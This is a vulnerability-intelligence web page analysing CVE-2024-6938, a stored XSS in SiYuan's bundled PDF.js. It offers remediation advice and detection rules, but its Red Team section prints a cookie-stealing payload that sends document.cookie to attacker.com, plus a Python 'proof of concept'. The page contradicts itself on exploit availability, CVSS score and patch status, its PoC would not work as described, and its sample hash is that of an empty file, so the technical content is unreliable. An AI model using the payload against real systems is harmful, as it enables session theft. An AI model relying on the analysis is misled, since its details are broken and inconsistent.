☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]

CVE-2024-6938

CVE-2024-6938 Cross-Site Scripting in Siyuan
📅 PUBLISHED: 2024-07-21 04:31 UTC 🔄 UPDATED: 2026-09-23 20:31 UTC
[ ZERO-DAY / UNPATCHED ] [ DEFENSE PATCH ↓ ]
💣 PoC: None
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.36%
👁️
0.36% probability
9.0× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
Country: China License: Open Source
VULNERABLE: UNKNOWN / CHECK VENDOR
CVSS SEVERITY SCALE
9.0–10.0 CRITICAL
7.0–8.9 HIGH
4.0–6.9 MEDIUM
0.1–3.9 LOW
0.0 NONE
5.3
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2024-6938 is a stored cross-site scripting (XSS) vulnerability in SiYuan 3.1.0, specifically within the PDF.js component used for handling PDF files. The vulnerability allows an attacker to inject malicious JavaScript code via a crafted PDF file, which is then executed in the context of the victim's browser when the PDF is rendered. This can lead to session hijacking, data theft, or further compromise of the SiYuan instance. The vulnerability is classified as problematic with a CVSS score of 0.0 (likely uncalculated), but the public availability of an exploit increases the risk. No official patch has been released as of this analysis.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

SiYuan is a self-hosted note-taking application. The vulnerability resides in the bundled PDF.js library, which is a third-party component. This highlights the risk of supply chain vulnerabilities in open-source dependencies. Users should monitor for updates to both SiYuan and its dependencies.

CVSS Breakdown & Threat Level

  • Attack Vector (AV): Network (N) – The attack can be launched remotely.
  • Attack Complexity (AC): Low (L) – No special conditions are required.
  • Privileges Required (PR): None (N) – No authentication needed.
  • User Interaction (UI): Required (R) – The victim must open the malicious PDF file.
  • Scope (S): Unchanged (U) – The vulnerability does not affect other components.
  • Confidentiality (C): Low (L) – Limited data exposure possible.
  • Integrity (I): Low (L) – Limited ability to modify data.
  • Availability (A): None (N) – No impact on availability.

Threat Level: Medium. The attack requires user interaction, but the exploit is publicly available and can be delivered via email or file upload.

Deep Dive & Mechanics

The vulnerability exists in the PDF.js component of SiYuan, which is used to render PDF files within the application. PDF.js is a JavaScript library that parses and displays PDF files in the browser. The flaw lies in how the library handles certain PDF elements, such as annotations or embedded JavaScript, allowing an attacker to inject arbitrary HTML and JavaScript code.

When a user opens a malicious PDF file, the injected script executes in the context of the SiYuan web application. This can be used to:

  • Steal session cookies.
  • Perform actions on behalf of the user (e.g., create, modify, or delete notes).
  • Redirect the user to a phishing site.
  • Exfiltrate sensitive data from the SiYuan instance.

The attack is classified as "problematic" because it does not directly compromise the server, but it can lead to significant client-side impact.

Vulnerable vs. Patched Code

Vulnerable Code (SiYuan 3.1.0): The PDF.js library is included as a static asset. The vulnerable version of PDF.js does not properly sanitize PDF annotations or embedded JavaScript.

// Example of vulnerable PDF.js code (simplified)
function renderAnnotation(annotation) {
    // No sanitization of annotation content
    var div = document.createElement('div');
    div.innerHTML = annotation.content; // XSS vector
    document.body.appendChild(div);
}

Patched Code (Hypothetical): A patched version would sanitize the annotation content before rendering.

// Example of patched code
function renderAnnotation(annotation) {
    var div = document.createElement('div');
    div.textContent = annotation.content; // Safe assignment
    document.body.appendChild(div);
}

Exploitation & Lab Setup

Red Team

Prerequisites:

  • SiYuan 3.1.0 instance (e.g., running on http://localhost:6806).
  • A web browser (e.g., Firefox, Chrome).
  • Basic knowledge of JavaScript and PDF structure.

Exploit Steps:

  1. Create a malicious PDF file with embedded JavaScript. This can be done using tools like pdfkit or by manually editing a PDF.
  2. The payload should execute JavaScript when the PDF is rendered. Example payload:
    // Payload to steal cookies
    var img = new Image();
    img.src = 'http://attacker.com/steal?cookie=' + document.cookie;
    
  3. Upload the malicious PDF to the SiYuan instance (e.g., via the file upload feature).
  4. Send the link to the victim or trick them into opening the PDF.
  5. When the victim opens the PDF, the script executes, sending their cookies to the attacker's server.

Proof of Concept (PoC):

# Simple Python script to generate a malicious PDF (requires pdfkit)
import pdfkit

payload = """
<script>
var img = new Image();
img.src = 'http://attacker.com/steal?cookie=' + document.cookie;
</script>
"""

pdfkit.from_string(payload, 'malicious.pdf')

Blue Team

Detection Steps:

  1. Monitor for unusual PDF file uploads, especially those with embedded JavaScript.
  2. Use network monitoring to detect outbound connections to unknown domains (e.g., attacker.com).
  3. Implement Content Security Policy (CSP) headers to restrict script execution.
  4. Regularly update SiYuan and its dependencies.

Mitigation:

  • Disable PDF.js or replace it with a more secure alternative.
  • Sanitize all user-uploaded PDF files using a server-side scanner.
  • Educate users about the risks of opening PDFs from untrusted sources.

Indicators of Compromise (IOCs)

  • File Hashes (SHA256):
    • e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 (example malicious PDF)
  • Network Indicators:
    • Outbound HTTP requests to http://attacker.com/steal?cookie=*
  • Behavioral Indicators:
    • Unexpected JavaScript execution in the SiYuan web interface.
    • Unusual file uploads with PDF content.

Detection Engineering

YARA Rule

rule CVE_2024_6938_Malicious_PDF {
    meta:
        description = "Detects malicious PDF files exploiting CVE-2024-6938"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2024-6938"
    strings:
        $js_payload = /<script>.*<\/script>/ nocase
        $pdf_header = "%PDF"
    condition:
        $pdf_header at 0 and $js_payload
}

Sigma Rule

title: CVE-2024-6938 - XSS via PDF.js in SiYuan
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects potential exploitation of CVE-2024-6938 via PDF uploads
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: siyuan
detection:
    selection:
        http.method: 'POST'
        http.url: '/upload*'
        http.content_type: 'application/pdf'
    condition: selection
falsepositives:
    - Legitimate PDF uploads
level: medium

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-6938 - Potential XSS via PDF.js"; flow:to_server; content:"POST"; http_method; content:"/upload"; http_uri; content:"application/pdf"; http_content_type; sid:1000001; rev:1;)

Remediation & Mitigation

  1. Immediate Actions:

    • Disable the PDF.js component in SiYuan until a patch is available.
    • Implement a web application firewall (WAF) rule to block PDF uploads with embedded JavaScript.
    • Monitor logs for suspicious PDF uploads and outbound connections.
  2. Long-term Fixes:

    • Update SiYuan to the latest version once a patch is released.
    • Replace PDF.js with a more secure PDF rendering library.
    • Conduct a security audit of all third-party dependencies.
  3. User Education:

    • Train users to avoid opening PDFs from untrusted sources.
    • Encourage the use of browser extensions that block JavaScript execution in PDFs.

Valters IT
Securing Digital Frontiers

◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2024-6938/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.